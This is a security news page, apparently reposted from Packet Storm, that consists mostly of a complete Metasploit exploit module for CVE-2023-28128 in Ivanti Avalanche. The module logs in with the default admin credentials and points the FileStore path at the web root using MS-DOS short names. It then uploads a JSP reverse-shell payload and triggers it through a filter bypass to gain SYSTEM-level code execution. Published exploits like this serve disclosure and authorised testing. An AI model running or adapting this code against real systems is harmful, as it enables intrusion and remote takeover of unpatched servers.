Security
Headlines
HeadlinesLatestCVEs

Headline

Ivanti Avalanche FileStoreConfig Shell Upload

Ivanti Avalanche versions prior to 6.4.0.186 permits MS-DOS style short names in the configuration path for the Central FileStore. Because of this, an administrator can change the default path to the web root of the applications, upload a JSP file, and achieve remote command execution as NT AUTHORITY\SYSTEM.

Packet Storm
#vulnerability#web#js#git#java#rce#xpath#auth#webkit
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',        'Description' => %q{          Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short          names in the configuration path for the Central FileStore. Because of          this, an administrator can change the default path to the web root          of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.        },        'License' => MSF_LICENSE,        'Author' => [          'Piotr Bazydlo', # @chudypb - Vulnerability Discovery          'Shelby Pace' # Metasploit module        ],        'References' => [          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],          ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],          ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],          ['CVE', '2023-28128']        ],        'Platform' => ['win', 'java'],        'Privileged' => true,        'Arch' => ARCH_JAVA,        'Targets' => [          [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]        ],        'DisclosureDate' => '2023-04-24',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'Reliability' => [ REPEATABLE_SESSION ],          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]        }      )    )    register_options(      [        Opt::RPORT(8080),        OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),        OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])      ]    )  end  def check    # Cleanup should not be needed after doing just a check.    @cleanup_needed = false    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'login.jsf'),      'method' => 'GET'    )    return CheckCode::Unknown('Failed to receive a response from the application') unless res    unless res.body.include?('Avalanche - User Login')      return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')    end    html = res.get_html_document    elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }    return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem    version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)    return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2    version = version[1]    vprint_status("Version of Ivanti Avalanche appears to be v#{version}")    ver_no = Rex::Version.new(version)    patched_version = Rex::Version.new('6.4.0.186')    if ver_no >= patched_version      CheckCode::Safe('Target has been patched!')    elsif ver_no < patched_version      CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')    else      CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")    end  end  def authenticate    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?      fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'login.jsf'),      'method' => 'GET',      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')    html = res.get_html_document    view_state = get_view_state(html)    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'login.jsf'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'loginForm' => 'loginForm',        'j_idt8' => '',        'loginField' => datastore['USERNAME'],        'passwordField' => datastore['PASSWORD'],        'TextCaptchaAnswer' => '',        'javax.faces.ViewState' => view_state,        'loginTableButton' => 'loginTableButton'      }    )    unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')      fail_with(Failure::UnexpectedReply, 'Login failed')    end  end  def get_view_state(html)    view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text    view_state  end  def configure_filestore    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'GET',      'keep_cookies' => true    )    unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first      fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')    end    html = res.get_html_document    view_state = get_view_state(html)    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state    @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text    fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path    print_status("Original FileStore config path: '#{@original_config_path}'")    # determine drive letter    drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)    fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3    drive_letter = drive_letter[1]    new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"    print_status("Changing FileStore config path to '#{new_config_path}'")    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',        'formFileStoreConfig' => 'formFileStoreConfig',        'txtUncPath' => new_config_path,        'txtVelocityFolder' => '',        'javax.faces.ViewState' => view_state      }    )    input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first    if input_field_html.blank?      fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')    elsif input_field_html[:value] != new_config_path      fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')    end  end  def get_directory_val(res, dir_name)    html = res.get_html_document    results = html.xpath('//tr[contains(@class, "DIRECTORY")]')    fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results    expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }    fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir    data_rk = expand_dir.at('@data-rk')&.value    fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk    data_rk  end  def expand_folder(data_rk, view_state)    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',        'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',        'fileStoreTree_dlgFileStoreTree_expand' => data_rk,        'javax.faces.ViewState' => view_state      }    )  end  def select_folder(data_rk, view_state)    @cleanup_needed = true    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' =>      {        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',        'javax.faces.behavior.event' => 'select',        'javax.faces.partial.event' => 'select',        'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,        'form_filestore_tree' => 'form_filestore_tree',        'fileStoreTree_dlgFileStoreTree_selection' => data_rk,        'javax.faces.ViewState' => view_state      }    )  end  def upload_payload    payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"    # need to 'select' webapps/AvalancheWeb to upload a file    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'GET',      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first    web_data_rk = get_directory_val(res, 'webapps')    view_state = get_view_state(res.get_html_document)    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state    res = expand_folder(web_data_rk, view_state)    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res    avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')    view_state = get_view_state(res.get_html_document)    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state    res = select_folder(avalanche_data_rk, view_state)    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res    view_state = get_view_state(res.get_html_document)    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state    boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"    post_data = "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"    post_data << "upload-form\r\n"    post_data << "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"    post_data << "#{view_state}\r\n"    post_data << "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"    post_data << "true\r\n"    post_data << "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"    post_data << "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"    post_data << "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"    post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"    post_data << "--#{boundary}\r\n"    post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"    post_data << "Content-Type: application/octet-stream\r\n\r\n"    post_data << "#{payload.encoded}\r\n"    post_data << "--#{boundary}--\r\n"    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'POST',      'keep_cookies' => true,      'data' => post_data,      'headers' => {        'Accept' => 'application/xml, text/xml, */*; q=0.01',        'Faces-Request' => 'partial/ajax',        'X-RequestedWith' => 'XMLHttpRequest',        'Content-Type' => "multipart/form-data; boundary=#{boundary}",        'Accept-Encoding' => 'gzip, deflate'      }    )    fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")    print_good("Successfully uploaded '#{payload_name}'")    payload_name  end  def cleanup    if @cleanup_needed == false      return    end    restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'    print_status('Attempting to restore config path')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'GET',      'keep_cookies' => true    )    unless res      print_error("Could not access FileStore config. #{restore_msg}")      return    end    html = res.get_html_document    view_state = get_view_state(html)    unless view_state      print_error("Failed to get view state. #{restore_msg}")      return    end    send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',        'formFileStoreConfig' => 'formFileStoreConfig',        'txtUncPath' => @original_config_path,        'txtVelocityFolder' => '',        'javax.faces.ViewState' => view_state      }    )    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),      'method' => 'GET',      'keep_cookies' => true    )    unless res&.body&.include?(@original_config_path)      print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")      return    end    print_good('Successfully restored the FileStore config path')  end  def exploit    # Starting off we shouldn't need cleanup, however if we get to the point were we start    # to change config settings then we will need to clean that up.    @cleanup_needed = false    authenticate    configure_filestore    payload_name = upload_payload    register_file_for_cleanup("webapps/#{payload_name}")    send_request_cgi(      'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet      'method' => 'GET',      'keep_cookies' => true    )  endend

Related news

CVE-2023-28128: Ivanti Community

An unrestricted upload of file with dangerous type vulnerability exists in Avalanche versions 6.3.x and below that could allow an attacker to achieve a remove code execution.

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6